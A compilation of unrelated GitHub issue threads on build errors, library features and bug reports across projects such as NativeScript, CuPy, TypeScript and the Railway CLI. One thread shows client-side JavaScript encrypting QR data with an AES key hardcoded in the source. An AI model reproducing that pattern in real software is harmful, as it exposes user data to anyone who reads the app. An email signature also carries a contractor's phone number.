/IndexOptions(io) : <OPTIONS> Options to provide detailed control over
                    behavior of resource indexers.
/Overwrite(o)     : Overwrite an existing output file of the same name
                    without prompting
/Verbose(v)       : Causes verbose messages to be output to the console
/Help(h, ?)       : Display the usage help text
/ExtensionDll(ex) : <FILEPATH> Location of the MRT environment extension
                    DLL. This DLL must be signed by a Microsoft-issued
                    certificate. Default is an empty path (no DLL
                    will be used).

FOLDERPATH       - is a valid path to a folder
FILEPATH         - is a path to a file, either relative to the current
                   directory or absolute
MAPPINGFILETYPE  - Supported File type(s): 'AppX'

ERROR: PRI191: 0x80080204 - Appx manifest not found or is invalid. Please ensure well-formed manifest file is present. Or specify an index name with /in switch.
error C00CE015: App manifest validation error: The app manifest must be valid as per schema: Line 28, Column 26, Reason: The attribute 'Square150x150Logo' on the element '{http://schemas.microsoft.com/appx/manifest/uap/windows10}DefaultTile' is not defined in the DTD/Schema.

@Zhoneym Can you please take a look at the build log and error message and see if you know what may be the cause?


Add a cleanup function for components, for when they are removed

I know i can set it up  by listening to when a component is removed by it will be nice for cleaning up connections and events

https://flamework.fireboltofdeath.dev/docs/migration#component-maids-were-removed
This is already possible by overriding the destroy method


Not able to run on iOS

 hanged here

Hi @PankajDuPont,
Could you provide some more info about your environment (CLI, node, CocoaPods versions)?
In the meantime, you could try to update your Cocoapods with [sudo] gem install cocoapods and to verify whether you will have the same behavior, while using tns run ios command.
Let me know, whether this helps.

Hi Nikolay,
Initially it did not work but now it is working for me.
Thanks & Regards,
Pankaj Gupta, Mobile Apps Specialist
Tata Consultancy Services
Contractor for DuPont AMS Mobility
Phone: +91-8800118671
Email<EMAIL_ADDRESS>

From: Nikolay Tsonev<EMAIL_ADDRESS>Sent: 14 March 2017 19:20:08
To: NativeScript/nativescript-sdk-examples-ng
Cc: Gupta, Pankaj; Mention
Subject: Re: [NativeScript/nativescript-sdk-examples-ng] Not able to run on iOS (#164)
Hi @PankajDuPonthttps://github.com/PankajDuPont,
Could you provide some more info about your environment (CLI, node, CocoaPods versions)?
In the meantime, you could try to update your Cocoapods with [sudo] gem install cocoapods and to verify whether you will have the same behavior, while using tns run ios command.
Let me know, whether this helps.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/NativeScript/nativescript-sdk-examples-ng/issues/164#issuecomment-286426446, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ATzby4GKW9FDbcTfGQIgShDucHiJ-pwjks5rlpsQgaJpZM4MW8hv.
This communication is for use by the intended recipient and contains information that may be Privileged, confidential or copyrighted under applicable law. If you are not the intended recipient, you are hereby formally notified that any use, copying or distribution of this e-mail,in whole or in part, is strictly prohibited. Please notify the sender by return e-mail and delete this e-mail from your system. Unless explicitly and conspicuously designated as "E-Contract Intended", this e-mail does not constitute a contract offer, a contract amendment, or an acceptance of a contract offer. This e-mail does not constitute a consent to the use of sender's contact information for direct marketing purposes or for transfers of data to third parties.
Francais Deutsch Italiano Espanol Portugues Japanese Chinese Korean
http://www.DuPont.com/corp/email_disclaimer.html


Using encrypted data

Is there a way to use encrypted data in the QR code?

ok figured it out, i'm encrypting the data using react-native-crypto-js
```

const ciphertext = CryptoJS.AES.encrypt(JSON.stringify({
key: value,
user: uid
}), 'j8h7d5s3vbynu@jmio09imu8&n7ycd5').toString();
console.log("encrypted text", ciphertext.toString());


Use simpler trick to write bytes to memory and flush cache

See: https://twitter.com/dez_/status/938074904666271744
Trick uses memcpy with a string, no need for byte array. Also issues FlushInstructionCache, which we also don't do.

Implemented in Private IGCS


Not compatible with php artisan optimize

Hi,
I noticed the lib doesn't work if you're compiling with php artisan optimize.
As a workaround i'm doing
php artisan optimize clear
php artisan opcache:clear
php artisan optimize

You might need to declare a route somewhere in your package.

This ticket sounds too vague but I'm assuming it's related to the errors when running php artisan opcache:compile after php artisan optimize. If not, I will open a separate ticket.
Running php artisan optimize will also compile the Blade views, like php artisan view:cache. Because of this, laravel-opcache will not able to compile the views into OPcache.
In my case, the following error occurred when running php artisan opcache:compile after php artisan optimize:
-- storage/framework/views/17d49dbffa9f42d427d8bc281997de1c39cc043e.php

syntax error, unexpected 'Im' (T_STRING), expecting ',' or ')'

I have to run:
php artisan optimize
php artisan view:clear
php artisan opcache:compile
php artisan view:cache

...in that order. I'm not sure if this affects anything or if compiling the views are needed when using laravel-opcache.


Spread arguments should mean 0 or more arguments (regression)

@sandersn Can you take a look?
related: #20071
TypeScript Version:  master
Code
declare function f(): void;
f(...[]);

Expected behavior:
pass
Actual behavior:
$ node built/local/tsc.js index.ts
index.ts(2,1): error TS2556: Expected 0 arguments, but got 1 or more.

Not correct.

This error is correct but its error message is not correct.

Expected 0 arguments, but got 0 or more. does not make grammatical sense.  While, after the spread, it results in no additional arguments, passing a spread argument, is a argument, so the error it stands is grammatically correct.

@falsandtru please read the explanation in #20097 — it is technically incorrect but easier to understand for the common case.


Copy instance method to class, get walkback (3.0.93-3)

Take an existing instance method, copy the contents, select the class side and a class category, and paste it as a class method.  Save.
This gives you a walkback:

Unfortunately when I go to copy the stack, I get this:

Have a fix ready for 3.0.93pre-release4. Jadeite didn't get it's class set correctly when trying to initialize method history. Believe this was recently introduced.
Good catch @LisaAlmarode!


Allow option to pass file mode when opening a PR

Proposal to pass file mode when opening a PR:
Use case
PR containing a bash script that should have the executable flag set
Proposal
Allow the files values to be either a string, null or an object.
If the value is an object, the object must contain the key content that can either be a string or null.
The object might contain the mode key that will override the default 100644 mode for the specific file.
Implementation
I've already drafted a possible implementation in case you are willing to accept this change.
https://github.com/LucaLanziani/octokit-create-pull-request/pull/1/files

have you seen https://github.com/gr2m/octokit-create-pull-request/pull/31? It implements the ability to create/update binary files by setting a file to an object with content and encoding keys.
I think setting a file to null is already implemented?

If I understand correctly that PR allows you to attach binary files, I'm just trying to set the executable flag to a bash script for instance. Do  you want me to rebase my PR on top of #31 changes

Ah I see. Yes, if you could rebase your changes and start a PR, we can continue discussing there. Thanks Luca!

Hey @LucaLanziani, if you are anyone else is still interested, I'd be happy to review a PR. Note that I made quite a few changes in the past few days, it might be easiest to recreate the changes based on that.
I also added instructions to CONTRIBUTING.md on how to record fixtures for the tests.

I would open a new issue if you are ok to add this option

Yes, let's open an issue. I'd like to learn more about your use case and see if others have that similar use cases, too


Improve proof examples

Adds the listed examples and closes #54.
This does not include links in the documentation; see #189 for that task.
I would like @indomitableSwan to check that the constraints are all correctly enforced.
As a second priority, I would be interested in feedback on whether the example names/stories are reasonable.
I would like @yaymukund to confirm that I don't need to add additional targets in the Cargo.toml -- I was able to run these examples but I wasn't sure if I should also add an [[example]] in the build.
Also, I know about [[dev-dependencies]] for things that are only used by tests. Is there an equivalent for examples?

Sorry for the force-push. I accidentally put a commit that belongs to #191 on this branch.

Looks good to me. I've removed myself from the review so @indomitableSwan can give the final signoff.

Per discussion with @indomitableSwan, to finish this PR:

[ ] I will improve docs on challenges in the examples
[ ] I will add docs on encoding in the built docs
[ ] I will not change the linear combo examples but I will make an issue to revisit and possibly generalize the current docs & examples


[Bug]: When I put mods in, it crashes

All of the following criteria must be met

[X] All Requirements must be installed.
[x] Changed the title so that it doesn't just says "[Bug]: "
[X] I have searched the GitHub issues for my bug, even in the closed issues.

All of the following are optional to answer

[X] Tried reinstalling the Game.
[X] Tried reinstalling MelonLoader.
[x] Tried restarting PC.
[x] Was able to see the Start Screen.

Describe the issue.

this is what it says right before it crashes. Please help!
Did you attach your log file?
Select an option below

Your culprit is right on your start menu. Mcaffe will delete any melon loader files it can see. You need to uninstall it and then re install melon loader


Update config.yaml

不修改的话，会报错
AttributeError: 'NoneType' object has no attribute 'seek'. You can only torch.load from a file that is seekable. Please pre-load the data into a buffer like io.BytesIO and try to load from it instead.

然后我看了下代码，应该是这个地方会检测本地是否有其他模型
    if hf_model_path == "":
        model = whisper.load_model("base")
    else:
        model = load_model_bin(hf_model_path, device)

thanks！


Make ctypes.c_void_p optional for copying to/from host memory?

Take this function as an example: https://github.com/cupy/cupy/blob/50361e0d42ca8e41e7200382c3031cfc4e201764/cupy/cuda/memory.pyx#L368-L378
I found it a bit cumbersome having to wrap a pointer by c_void_p first. Using integer as input is more intuitive IMHO. IIUC this is because the distinction between host and device pointers was desired: c_void_p is always for the former and MemoryPointer for the latter. (Correct me if I'm wrong!)
However, I think in all these copy functions we can just accept int as inputs everywhere, and pass runtime.memcpyDefault to let the runtime API figure out where the data is (through inspecting the pointer attributes internally).
Perhaps the above proposal is too disruptive and thus backward incompatible, so I wonder if it would be more acceptable if we accept int wherever c_void_p is expected? At least to me it's a milder change:
     cpdef copy_from_host(self, mem, size_t size):
         """Copies a memory sequence from the host memory.

         Args:
             mem (int or ctypes.c_void_p): Source memory pointer.
             size (int): Size of the sequence in bytes.

         """
         if size > 0:
             ptr = mem if isinstance(mem, int) else mem.value
             runtime.memcpy(self.ptr, ptr, size,
                            runtime.memcpyDefault)

The benefit is that lines such as this one get cleaned up a bit:
https://github.com/cupy/cupy/blob/abbcecc59828bb381e3e6fa33889b4b1631c3a74/cupy/core/core.pyx#L1272

Thanks for the proposal! We discussed this today, but from the dev side, there's not much motivation to accept int because copy_* is not frequently called in CuPy codebase. I feel that it's better to keep it strictly-typed (similar to C semantics) as this is relatively a low-layer API.
Do you often use these copy APIs from your code outside of CuPy?

IIUC this is because the distinction between host and device pointers was desired: c_void_p is always for the former and MemoryPointer for the latter. (Correct me if I'm wrong!)

@okuta Are there any background why c_void_p is used instead of size_t in MemoryPointer.copy_* APIs?

Thanks for the proposal! We discussed this today, but from the dev side, there's not much motivation to accept int because copy_* is not frequently called in CuPy codebase. I feel that it's better to keep it strictly-typed (similar to C semantics) as this is relatively a low-layer API.
Do you often use these copy APIs from your code outside of CuPy?

Thanks @kmaehashi for quick discussion over my question. Yes in one of our code we ended up using Runtime API directly, something like
    host_ptr = np_array.ctypes.data
    dev_ptr = cp_array.data.ptr
    stream_ptr = stream.ptr if stream is not None else 0
    if nbytes > 0:
        runtime.memcpyAsync(dev_ptr, host_ptr, nbytes, runtime.memcpyHostToDevice, stream_ptr)

But it is arguably too low-level and I'd prefer to reuse CuPy's utilities whenever possible. My impression is that, despite our view of them being low-level, they are documented public APIs:
https://docs.cupy.dev/en/stable/reference/generated/cupy.cuda.MemoryPointer.html#cupy.cuda.MemoryPointer
Another use case off top of my head is from the snippet I showed in the structured array discussion: https://github.com/cupy/cupy/issues/2031#issuecomment-731414757. I reiterate, though, that all these use cases can be worked around one way or another, so other than convenience there's no urgent need in pushing a PR for this (I am definitely happy to put together one if accepted).

I talked with @okuta regarding this. The reason why size_t is used here is that CuPy was originally implemented using ctypes. Considering this is a part of public API exposed to the Python code as you said, the change proposed (ptr = mem if isinstance(mem, int) else mem.value) sounds good to me.

I talked with @okuta regarding this. The reason why size_t is used here is that CuPy was originally implemented using ctypes. Considering this is a part of public API exposed to the Python code as you said, the change proposed (ptr = mem if isinstance(mem, int) else mem.value) sounds good to me.

Thanks, @kmaehashi! Will send a PR later 🙂

Thanks, @kmaehashi! Will send a PR later 🙂


how to disable or stop standby on lure

how to disable stop and stay on lure .? i trys to set lure to false, but that not work.?

Same here. Set "lure_attraction": false, but when the bot runs, it still prefers lured pokestops:[20:07:09] Moving towards fort <->, 0.10km left (attraction of lure 0.14km)
[20:07:16] Moving towards fort <->, 0.09km left (attraction of lure 0.13km)


[SPDM 1.3] The responder should be able to generate one DIGESTS response matching with the state Exists with key.

The responder should be able to generate one DIGESTS response matching with the state Exists with key.

Certificate slots have one state named 3. Exists with key that can be reported in the DIGESTS response.
Refer to the paragraph 366 In DSP0274_1.3.0.pdf.

Refer to the paragraph 369 Table 35 — Successful DIGESTS response message format In DSP0274_1.3.0.pdf.

But the responder will never generate one DIGESTS response matching with the above state 3. Exists with key:
spdm_context->local_context.local_cert_chain_provision[index] = NULL
spdm_response->header.param2 |= (1 << index)
spdm_context->local_context.local_cert_info[index] = SPDM_CERTIFICATE_INFO_CERT_MODEL_NONE
digest[hash_size * slot_index] be all zeros.

https://github.com/DMTF/libspdm/blob/159ecd11d70f09c16fe0278821c80513dc99b4bd/library/spdm_responder_lib/libspdm_rsp_digests.c#L140-L161

@Zhiqiang520 Please create a test case for that.


Install binary correctly with NPM

I replaced go-npm with a script that downloads the binaries, untars it, and move them to ./bin to then be capture by "bin" (degit uses this method)
Important note: I don't know how to test it with npm i -g @railway/cli

Juan this is awesome thank you so much!

seems like you can no longer uninstall the bin though

^^That is a good point. What happens when users go to uninstall?

What happens when users go to uninstall?

I'm not sure because I don't know how to test it, but since the file is saved inside the package, it should be removed along the contents of the package. When you do npm uninstall my-package, the directory node_modules/my-package gets deleted, so I think this is the same globally.
package.json | npm Docs says the following:

Supply a bin field in your package.json which is a map of command name to local file name. On install, npm will symlink that file into prefix/bin for global installs, or ./node_modules/.bin/ for local installs.
For example, myapp could have this:
{ "bin" : { "myapp" : "./cli.js" } }

So, when you install myapp, it'll create a symlink from the cli.js script to /usr/local/bin/myapp.

Hey, are there any updates about this issue?

We generally haven't sat down and found a way to test this reliably
Not that it's on you (because we thank you for the PR) but if you'd like to get this in ASAP, is there any way you can author it to like, a dummy NPM package so that we can just validate it, then merge it?
Otherwise I need to do this myself and I'm a tad swamped

@JakeCooper, oh, yes, I understand. I published for you, it's under @juanm04/railway-cli. I installed it with yarn and it seems to work

Hmm. Running into this will dig in

.

Thank you so much @JuanM04! Can you reach out on Discord? We'd love to give you a badge + some credits!

EDIT: Above is node 14. Seems to work on 16+!

Ohhh, maybe it's because it's ESM. Try with the latest version of node 14

Can you reach out on Discord?

Of course, I'm on the server and I have the same name and profile picture

I'm on v.14.19, which seems latest?

It seems that the stream promises were added in v15. You want me to rollback the type = module or should I add a warning for node v14 users?

I think if we add an "engine": "node16" to package json that should just error if people try to install it without node16
Or worst case a disclaimer that >16 is required

Exactly. Something like:
{
  "engines": {
    "node": ">=16.0.0"
  }
}

Yup that would be perfect! Any shot you can throw that PR up? Otherwise I’ll do it when I’m back in 30-1h
Cheers!


Having trouble adding questions to forms and options to option sets

Between two environments I am having trouble adding questions to forms and options to option sets. I don't typically work with Rails so my best guess is it's something to do with the asset pipeline.  When I click "add option" I do not see any activity on the server-side or the client-side. See the screenshot below.

Presuming the asset pipeline bundled the client-side correctly I'm not sure what the next step is. The two environments are my local machine and elmo.edipdev.io. Note that the latter is a temporary environment to validate ELMO's capabilities. Thanks in advance for any attention!

In reviewing this post I have not looked into those client-side errors adequately yet. I assumed no errors on the server-side with the asset pipeline meant these errors were known issues with the tool. If there are any hints as to where to look to resolve those issues they would be very much appreciated!

It looks like there is some problem loading React proptypes. I would bet this is causing all JS to fail for you, not just the Option Set page.
.. ah, it seems you're on React 16 instead of 15. Did you run bundle update by chance? The Gemfile.lock has react-rails pegged to 2.3.0, which should include React 15. If you do git reset --hard and then bundle install that should fix it (unless you've committed changes to the Gemfile.lock)

Superb! I will try that and get back to you :-)

That worked! I hadn't committed the changes so I just needed to unstage them with git add -- . Thanks thanks thanks!